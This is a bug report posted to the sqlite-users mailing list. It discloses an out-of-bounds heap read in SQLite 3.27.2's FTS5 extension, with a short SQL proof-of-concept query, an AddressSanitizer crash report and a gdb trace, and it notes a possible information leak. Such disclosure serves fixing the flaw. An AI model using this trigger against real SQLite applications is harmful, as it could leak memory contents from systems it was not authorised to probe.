The code: ``` CREATE VIRTUAL TABLE t1 USING fts5(content);
BEGIN; INSERT INTO t1 (content) VALUES('AAAA'); SELECT * FROM t1('BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB*'); END; ``` As you can see, it creates a virtual table with fts5, and run a transaction on it, this will leads to a OOB READ. The ASAN report: ``` ➜ sqlite-crashes ../sqlite-autoconf-3270200/sqlite3 < 2-oob-read.sql ================================================================= ==21007==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60d000002898 at pc 0x7f0cad16e6a3 bp 0x7ffdc88ddc80 sp 0x7ffdc88dd430 READ of size 81 at 0x60d000002898 thread T0 #0 0x7f0cad16e6a2 (/lib/x86_64-linux-gnu/libasan.so.5+0xb86a2) #1 0x563324ca4013 in fts5HashEntrySort /root/Documents/sqlite-autoconf-3270200/sqlite3.c:207762 #2 0x563324e685f9 in sqlite3Fts5HashScanInit /root/Documents/sqlite-autoconf-3270200/sqlite3.c:207820 #3 0x563324e685f9 in fts5SegIterHashInit /root/Documents/sqlite-autoconf-3270200/sqlite3.c:210321 #4 0x563324e685f9 in fts5MultiIterNew /root/Documents/sqlite-autoconf-3270200/sqlite3.c:211270 #5 0x563324e6b380 in fts5SetupPrefixIter /root/Documents/sqlite-autoconf-3270200/sqlite3.c:212946 #6 0x563324e6b380 in sqlite3Fts5IndexQuery /root/Documents/sqlite-autoconf-3270200/sqlite3.c:213275 #7 0x563324eae566 in fts5ExprNearInitAll /root/Documents/sqlite-autoconf-3270200/sqlite3.c:205261 #8 0x563324eae566 in fts5ExprNodeFirst /root/Documents/sqlite-autoconf-3270200/sqlite3.c:205778 #9 0x563324eaed3d in sqlite3Fts5ExprFirst /root/Documents/sqlite-autoconf-3270200/sqlite3.c:205836 #10 0x563324eaef0d in fts5CursorFirst /root/Documents/sqlite-autoconf-3270200/sqlite3.c:215371 #11 0x563324eb0c9d in fts5FilterMethod /root/Documents/sqlite-autoconf-3270200/sqlite3.c:215653 #12 0x563324dcd73a in sqlite3VdbeExec /root/Documents/sqlite-autoconf-3270200/sqlite3.c:90333 #13 0x563324de9439 in sqlite3Step /root/Documents/sqlite-autoconf-3270200/sqlite3.c:81716 #14 0x563324de9439 in sqlite3_step /root/Documents/sqlite-autoconf-3270200/sqlite3.c:81781 #15 0x563324c1d662 in exec_prepared_stmt /root/Documents/sqlite-autoconf-3270200/shell.c:10445 #16 0x563324c1d662 in shell_exec /root/Documents/sqlite-autoconf-3270200/shell.c:10752 #17 0x563324c1fdf3 in runOneSqlLine /root/Documents/sqlite-autoconf-3270200/shell.c:16106 #18 0x563324c2f466 in process_input /root/Documents/sqlite-autoconf-3270200/shell.c:16206 #19 0x563324bfac98 in main /root/Documents/sqlite-autoconf-3270200/shell.c:16967 #20 0x7f0cacd7009a in __libc_start_main ../csu/libc-start.c:308 #21 0x563324bfc599 in _start (/root/Documents/sqlite-autoconf-3270200/sqlite3+0x46599) 0x60d000002898 is located 0 bytes to the right of 136-byte region [0x60d000002810,0x60d000002898) allocated by thread T0 here: #0 0x7f0cad19f350 in __interceptor_malloc (/lib/x86_64-linux-gnu/libasan.so.5+0xe9350) #1 0x563324cdccf3 in sqlite3MemMalloc /root/Documents/sqlite-autoconf-3270200/sqlite3.c:22837 SUMMARY: AddressSanitizer: heap-buffer-overflow (/lib/x86_64-linux-gnu/libasan.so.5+0xb86a2) Shadow bytes around the buggy address: 0x0c1a7fff84c0: fd fd fd fd fd fd fa fa fa fa fa fa fa fa fd fd 0x0c1a7fff84d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c1a7fff84e0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd 0x0c1a7fff84f0: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa 0x0c1a7fff8500: fa fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c1a7fff8510: 00 00 00[fa]fa fa fa fa fa fa fa fa fd fd fd fd 0x0c1a7fff8520: fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa 0x0c1a7fff8530: fa fa fa fa fa fa 00 00 00 00 00 00 00 00 00 00 0x0c1a7fff8540: 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa 0x0c1a7fff8550: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c1a7fff8560: 00 fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==21007==ABORTING ``` View detail in gdb: ``` (gdb) r < 2-oob-read.sql Starting program: /root/Documents/sqlite-autoconf-3270200/sqlite3 < 2-oob-read.sql [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Breakpoint 1, 0x000055555564200f in fts5HashEntrySort (pHash=0x604000002018, pTerm=pTerm@entry=0x60d000002a88 "0", 'b' <repeats 80 times>, '\276' <repeats 47 times>, nTerm=nTerm@entry=81, ppSorted=0x604000002030) at sqlite3.c:207762 207762 if( pTerm==0 || 0==memcmp(fts5EntryKey(pIter), pTerm, nTerm) ){ (gdb) i r rdi rdi 0x60d000002848 106446469474376 (gdb) i r rsi rsi 0x60d000002a88 106446469474952 (gdb) i r rdx rdx 0x51 81 (gdb) x/10xg $rdi 0x60d000002848: 0xbe01006161616130 0xbebebebebebebe02 0x60d000002858: 0xbebebebebebebebe 0xbebebebebebebebe 0x60d000002868: 0xbebebebebebebebe 0xbebebebebebebebe 0x60d000002878: 0xbebebebebebebebe 0xbebebebebebebebe 0x60d000002888: 0xbebebebebebebebe 0xbebebebebebebebe (gdb) bt #0 0x000055555564200f in fts5HashEntrySort (pHash=0x604000002018, pTerm=pTerm@entry=0x60d000002a88 "0", 'b' <repeats 80 times>, '\276' <repeats 47 times>, nTerm=nTerm@entry=81, ppSorted=0x604000002030) at sqlite3.c:207762 #1 0x00005555558065fa in sqlite3Fts5HashScanInit (nTerm=81, pTerm=0x60d000002a88 "0", 'b' <repeats 80 times>, '\276' <repeats 47 times>, p=<optimized out>) at sqlite3.c:210321 #2 fts5SegIterHashInit (pIter=0x6130000007a8, flags=56, nTerm=81, pTerm=0x60d000002a88 "0", 'b' <repeats 80 times>, '\276' <repeats 47 times>, p=0x60d000000ad8) at sqlite3.c:13713 #3 fts5MultiIterNew (p=p@entry=0x60d000000ad8, pStruct=pStruct@entry=0x603000001b78, flags=flags@entry=56, pColset=pColset@entry=0x0, pTerm=pTerm@entry=0x60d000002a88 "0", 'b' <repeats 80 times>, '\276' <repeats 47 times>, nTerm=nTerm@entry=81, iLevel=<optimized out>, nSegment=<optimized out>, ppOut=<optimized out>) at sqlite3.c:14662 #4 0x0000555555809381 in fts5SetupPrefixIter (ppIter=0x7fffffffb440, pColset=0x0, nToken=81, pToken=<optimized out>, bDesc=0, p=0x60d000000ad8) at sqlite3.c:212946 #5 sqlite3Fts5IndexQuery (p=0x60d000000ad8, pToken=pToken@entry=0x6080000031a8 'b' <repeats 80 times>, nToken=80, flags=flags@entry=1, pColset=pColset@entry=0x0, ppIter=ppIter@entry=0x6130000005b8) at sqlite3.c:16667 #6 0x000055555584c567 in fts5ExprNearInitAll (pExpr=0x6040000020d8, pExpr=0x6040000020d8, pNode=0x606000001a68, pNode=0x606000001a68) at sqlite3.c:205261 #7 fts5ExprNodeFirst (pExpr=pExpr@entry=0x6040000020d8, pNode=pNode@entry=0x606000001a68) at sqlite3.c:9170 #8 0x000055555584cd3e in sqlite3Fts5ExprFirst (p=p@entry=0x6040000020d8, pIdx=<optimized out>, iFirst=-9223372036854775808, bDesc=bDesc@entry=0) at sqlite3.c:205836 #9 0x000055555584cf0e in fts5CursorFirst (pCsr=pCsr@entry=0x611000000408, bDesc=bDesc@entry=0, pTab=<optimized out>) at sqlite3.c:215371 #10 0x000055555584ec9e in fts5FilterMethod (pCursor=0x611000000408, idxNum=<optimized out>, zUnused=<optimized out>, nVal=<optimized out>, apVal=<optimized out>) at sqlite3.c:215632 #11 0x000055555576b73b in sqlite3VdbeExec (p=<optimized out>) at sqlite3.c:90333 #12 0x000055555578743a in sqlite3Step (p=0x63400000daf8) at sqlite3.c:81716 #13 sqlite3_step (pStmt=0x63400000daf8) at sqlite3.c:16245 #14 0x00005555555bb663 in exec_prepared_stmt (pStmt=<optimized out>, pArg=0x7fffffffd240) at shell.c:10752 #15 shell_exec (pArg=0x7fffffffd240, zSql=0x60d000000040 "SELECT * FROM t1('", 'B' <repeats 80 times>, "*');", pzErrMsg=<optimized out>) at shell.c:10752 #16 0x00005555555bddf4 in runOneSqlLine (p=0x7fffffffd240, zSql=0x60d000000040 "SELECT * FROM t1('", 'B' <repeats 80 times>, "*');", in=<optimized out>, startline=<optimized out>) at shell.c:16106 #17 0x00005555555cd467 in process_input (p=0x7fffffffd240) at shell.c:16206 #18 0x0000555555598c99 in main (argc=1, argv=<optimized out>) at shell.c:16967 ``` As you can see, arg 2 and arg 3 for `memcmp` can be controlled by user, and it will read arbitrary length data on arg 1(which length is 5 in this case), this may leads to an information leak. _______________________________________________ sqlite-users mailing list sqlite-users@mailinglists.sqlite.org http://mailinglists.sqlite.org/cgi-bin/mailman/listinfo/sqlite-users